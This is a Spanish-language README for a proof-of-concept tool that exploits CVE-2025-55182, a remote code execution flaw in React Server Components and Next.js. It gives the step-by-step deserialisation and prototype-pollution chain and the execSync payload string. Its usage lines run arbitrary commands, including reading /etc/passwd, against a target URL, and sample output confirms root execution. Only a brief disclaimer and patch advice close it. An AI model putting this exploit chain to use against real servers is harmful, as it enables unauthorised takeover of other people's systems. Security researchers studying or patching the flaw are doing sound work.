CVE-2025-55182 - PoC de RCE en React Server Components

Autor: rl0x01

Descripción

CVE-2025-55182 es una vulnerabilidad crítica (CVSS 10.0) de Ejecución Remota de Código (RCE) que afecta a los Componentes del Servidor de React a través del protocolo Flight.

Versiones Vulnerables

Next.js	React
14.3.0-canary.77 to 15.0.4	19.0.0
15.1.1-canary.0 to 15.1.8	19.1.0
15.2.0-canary.0 to 15.2.5	19.1.1
15.3.0-canary.0 to 15.3.5	19.2.0
15.4.0-canary.0 to 15.4.7
15.5.1-canary.0 to 15.5.6
16.0.0-canary.0 to 16.0.6

Versiones Corregidas

Next.js
15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Mecanismo de Explotación

1. Usa $@ para obtener una referencia cruda de Chunk
2. Sobrescribe .then con Chunk.prototype.then mediante $1:__proto__:then
3. Establece status en resolved_model para desencadenar initializeModelChunk
4. Usa $B1337 para desencadenar la deserialización de Blob
5. Apunta _formData.get al constructor Function
6. _prefix contiene el código JS a ejecutar

El código se evalúa mediante:

Function("throw new Error(require('child_process').execSync('COMMAND').toString());//1337")

Instalación

pip install -r requirements.txt

Uso

Verificar si el objetivo es vulnerable

python cve_2025_55182_poc.py https://target.com --check-only

Ejecutar un comando

# Comando por defecto (id)
python cve_2025_55182_poc.py https://target.com

# Comando personalizado
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"

Opciones

Opción	Descripción
url	URL del objetivo (requerido)
-c, --command	Comando a ejecutar (por defecto: id)
--check-only	Solo verificar vulnerabilidad
-t, --timeout	Tiempo de espera en segundos (por defecto: 15)
-v, --verbose	Salida detallada
--raw	Mostrar respuesta cruda

Laboratorio de Pruebas Vulnerable

cd vulnerable-app
npm install
npm run dev
# Servidor en http://localhost:3000

Ejemplo de Salida

+======================================================================+
|  CVE-2025-55182 - React Server Components RCE                     |
|  React Flight Protocol Deserialization Vulnerability               |
+======================================================================+
[*] Affected: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] CVSS Score: 10.0 (CRITICAL)
[*] Author: rl0x01

[*] Target: http://localhost:3000
[*] Timeout: 15s

[1/2] Checking vulnerability...
[+] VULNERABLE! RCE Confirmed - Output received

[2/2] Executing command: whoami
[+] Payload sent!

============================================================
RESULT: whoami
============================================================
root
============================================================

Estructura del Proyecto

CVE-2025-55182/
├── cve_2025_55182_poc.py    # Script de explotación principal
├── requirements.txt          # Dependencias de Python
├── README.md                 # Documentación
└── vulnerable-app/           # App Next.js vulnerable para pruebas
    ├── package.json
    ├── next.config.js
    └── app/
        ├── layout.js
        ├── page.js
        └── actions.js

Descargo de Responsabilidad

⚠️ Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

El uso no autorizado de esta herramienta contra sistemas que no posee o para los cuales no tiene permiso explícito para probar es ilegal.

Mitigación

1. Actualice Next.js a 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+ o 16.0.7+
2. Actualice React a una versión parcheada
3. Implemente reglas WAF para bloquear cargas útiles maliciosas del protocolo Flight